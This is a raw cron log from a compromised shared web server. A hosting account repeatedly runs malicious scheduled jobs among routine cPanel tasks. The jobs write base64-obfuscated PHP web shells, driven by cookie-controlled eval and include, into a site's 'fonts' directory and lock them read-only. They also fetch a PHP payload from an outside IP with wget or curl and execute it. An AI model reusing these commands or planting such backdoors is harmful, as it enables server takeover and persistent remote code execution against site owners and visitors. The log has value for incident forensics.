Sep 22 04:51:01 ip-184-168-122-23 CROND[18775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:51:01 ip-184-168-122-23 CROND[18777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:51:01 ip-184-168-122-23 CROND[18778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:51:01 ip-184-168-122-23 CROND[18783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:52:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:52:01 ip-184-168-122-23 CROND[19051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:52:01 ip-184-168-122-23 CROND[19053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:52:01 ip-184-168-122-23 CROND[19055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:52:01 ip-184-168-122-23 CROND[19056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:53:01 ip-184-168-122-23 CROND[19327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:53:01 ip-184-168-122-23 CROND[19329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:53:01 ip-184-168-122-23 CROND[19331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:53:01 ip-184-168-122-23 CROND[19330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:54:01 ip-184-168-122-23 CROND[19920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:54:01 ip-184-168-122-23 CROND[19924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:54:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:54:01 ip-184-168-122-23 CROND[19923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:54:01 ip-184-168-122-23 CROND[19922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:55:01 ip-184-168-122-23 CROND[20065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:55:01 ip-184-168-122-23 CROND[20068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:55:01 ip-184-168-122-23 CROND[20067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:55:01 ip-184-168-122-23 CROND[20069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:55:01 ip-184-168-122-23 CROND[20070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:55:01 ip-184-168-122-23 CROND[20071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:56:02 ip-184-168-122-23 CROND[20229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:56:02 ip-184-168-122-23 CROND[20233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:56:02 ip-184-168-122-23 CROND[20232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:56:02 ip-184-168-122-23 CROND[20238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:56:02 ip-184-168-122-23 CROND[20239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:57:01 ip-184-168-122-23 CROND[20354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:57:01 ip-184-168-122-23 CROND[20353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:57:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:57:01 ip-184-168-122-23 CROND[20356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:57:01 ip-184-168-122-23 CROND[20357]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 22 04:57:33 ip-184-168-122-23 crontab[20775]: (root) LIST (root)
Sep 22 04:57:33 ip-184-168-122-23 crontab[20777]: (root) LIST (root)
Sep 22 04:57:41 ip-184-168-122-23 crontab[20872]: (root) LIST (root)
Sep 22 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 22 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 04:58:01 ip-184-168-122-23 CROND[20979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:58:01 ip-184-168-122-23 CROND[20978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:58:01 ip-184-168-122-23 CROND[20981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:58:01 ip-184-168-122-23 CROND[20980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:58:01 ip-184-168-122-23 CROND[20984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:59:01 ip-184-168-122-23 CROND[21514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:59:01 ip-184-168-122-23 CROND[21516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:59:01 ip-184-168-122-23 CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:59:01 ip-184-168-122-23 CROND[21519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:00:01 ip-184-168-122-23 CROND[21964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:00:01 ip-184-168-122-23 CROND[21968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:00:01 ip-184-168-122-23 CROND[21969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:01:01 ip-184-168-122-23 CROND[22139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:01:01 ip-184-168-122-23 CROND[22144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:01:01 ip-184-168-122-23 CROND[22142]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 05:01:01 ip-184-168-122-23 CROND[22145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:01:01 ip-184-168-122-23 CROND[22140]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 05:01:01 ip-184-168-122-23 CROND[22141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22142]: starting 0anacron
Sep 22 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22160]: finished 0anacron
Sep 22 05:02:01 ip-184-168-122-23 CROND[22314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:02:01 ip-184-168-122-23 CROND[22316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:02:01 ip-184-168-122-23 CROND[22318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:02:01 ip-184-168-122-23 CROND[22319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:02:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
